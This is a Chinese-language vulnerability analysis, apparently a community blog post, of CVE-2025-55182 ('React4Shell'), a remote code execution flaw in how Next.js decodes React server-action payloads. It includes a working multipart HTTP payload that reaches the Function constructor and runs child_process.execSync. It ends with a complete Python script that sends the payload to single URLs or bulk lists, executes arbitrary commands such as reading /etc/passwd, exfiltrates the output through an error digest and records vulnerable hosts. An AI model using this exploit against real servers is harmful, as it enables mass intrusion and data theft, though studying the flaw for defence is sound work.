CVE-2025-55182

React4Shell 漏洞分析 (cve-2025-55182)-先知社区

thenable

如果一个 thenable 的 then(resolve) 里 再次返回另一个 thenable:

  • javaScript 引擎会继续对这个新的 thenable 执行 相同的解析流程
  • 再次调用它的 .then()
  • 一层套一层,一直解析到最终不是 thenable 为止

nextjs 处理请求的过程

image-20251214150044510

了解 decodeReplyFromBusboy

image-20251214221844596

它是一个解码函数,内部创建了一个 response 对象并注册了 busboy 事件监听器,收到数据的时候触发并返回一个 Chunk 对象(一定是thenable)的,因为nextJS使用了 await decodeReplyFromBusboy 来等待结果,返回后一定会调用它的 then 方法。

首先,chunk的status被设置成了 pending ,同时还有一些参数出现了。

image-20251214141451291

然后接着看看 chunk 的 then 方法:

image-20251214141530746

首先对 chunk 的状态进行判断,并且根据不同的状态执行不同的操作,只有 fulfilled 的时候才能触发 resolve(并且接触await等待)。这里 chunk 的状态是 pending,就会执行 this.value.push(resolve)this.reason.push(reject)

image-20251214141933553

这里刚刚不是创建了监听器吗,就会触发 resolveFiled,进一步触发 resolveModelChunk

image-20251214142052102

这里发现我们的状态是 pending,首先会修改为 resolved_model,然后 触发 initializeModelChun(chunk)

image-20251214142146489

首先将 chunk 中的 JSON 字符串解析为对象,并且递归处理 $ 开头的特殊标记:

符号 含义 编码示例 解码结果 使用场景
$@ Chunk 引用 Promise"$@1" getChunk(response, 1) 异步数据、Promise
$K FormData 引用 FormData"$K1" 从 FormData 提取 ID=1 表单数据、文件上传
$B Blob 引用 Blob"$B1" response._formData.get("1") 二进制数据、图片
$F Server Reference(Server Action) serverAction"$F1" loadServerReference(...) Server Action 函数
$T Temporary Reference tempRef"$T1" createTemporaryReference(...) 临时引用
$Q Map 对象 Map"$Q1" new Map(...) Map 数据结构
$R ReadableStream (text) ReadableStream"$R1" ReadableStream 文本流
$r ReadableStream (bytes) ReadableStream"$r1" ReadableStream 字节流
$X AsyncIterable AsyncIterable"$X1" AsyncIterable 异步迭代器
$D Date 对象 new Date()"$D2024-01-01T00:00:00.000Z" new Date(...) 日期时间
$n BigInt 123n"$n123" 123n 大整数
$Z Error 对象 Error"$Z" + error info new Error(...) 错误对象
$$ 转义的 $ "$hello""$$hello" "$hello" 字面量 $

然后就可以唤醒 await 执行返回了。

漏洞POC分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Next-Action: x
X-Nextjs-Request-Id: 51fe50ef2a379133
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye12x8j2O
X-Nextjs-Html-Request-Id: 2344e891bc6a0657004928128530dc287d17a91
Content-Length: 499

------WebKitFormBoundarye12x8j2O
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundarye12x8j2O
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundarye12x8j2O--

第一次解析

name=1 那个 $@0 就是对 chunk 对象的引用。(也就是请求体中 name=0 那一堆)

name=0then => chunk.prototype.thenvalue => {"then":"$B1337"}字符串),_formData.get => Function 的构造函数。

此时外部 await 发现存在一个 then 方法,并且就是指向 chunk.then,由于这里面的 status 我们定义为 resolved_model,所以会直接调用 initializeModelChunk 进行递归解析,并且解析后把状态改为 fulfilled 调用 resolve 结束 await。

第二次解析

开始对 ·value.then 进行解析

image-20251214145157981

1
2
3
4
5
6
7
case 'B': {
const id = parseInt(value.slice(2), 16); // 0x1337 → 4919
const prefix = response._prefix; // ← 恶意代码字符串
const blobKey = prefix + id.toString(16); // "RCE+1337"
const backingEntry = response._formData.get(blobKey);//Function("RCE+1337")
return backingEntry;
}

$B1337 => 改为 obj = Function(RCE function)

(因为 response._fomData.get 已经在第一次解析中被解析为 Function 构造函数,而 ``response._prefix传的就是RCE的代码)这里的obj` 再次被返回的时候已经是一个函数了。

解析后的 await

1
{"then":RCE function}

第三次解析

await 调用 then 方法进行 RCE

最终 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
import argparse
import urllib3

# Disable warnings for insecure requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_url(url, command="cat /etc/passwd"):
print(f"Checking {url}...")
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",#利用报错机制带出
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}

files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
try:
# verify=False to ignore SSL certificate errors
res = requests.post(url, files=files, headers=headers, timeout=10, verify=False)
if "root" in res.text:
print(f"[+] Vulnerable: {url}")
with open("vulns.txt", "a") as f:
f.write(url + "\n")
else:
print(f"[-] Not vulnerable: {url}")
# print(res.text)
except Exception as e:
print(f"[-] Error checking {url}: {e}")

def main():
parser = argparse.ArgumentParser(description="CVE-2025-55182 POC")

parser.add_argument("url", nargs="?", help="Single URL to check")
parser.add_argument("command", nargs="?", default="cat /etc/passwd", help="Command to execute")
parser.add_argument("-f", "--file", help="File containing list of URLs")

args = parser.parse_args()

if args.file:
try:
with open(args.file, "r", encoding='utf-8', errors='ignore') as f:
urls = f.read().splitlines()
for url in urls:
url = url.strip()
if url:
if not url.startswith("http"):
url = "http://" + url
check_url(url, args.command)
except FileNotFoundError:
print(f"File not found: {args.file}")
elif args.url:
check_url(args.url, args.command)
else:
parser.print_help()

if __name__ == "__main__":
main()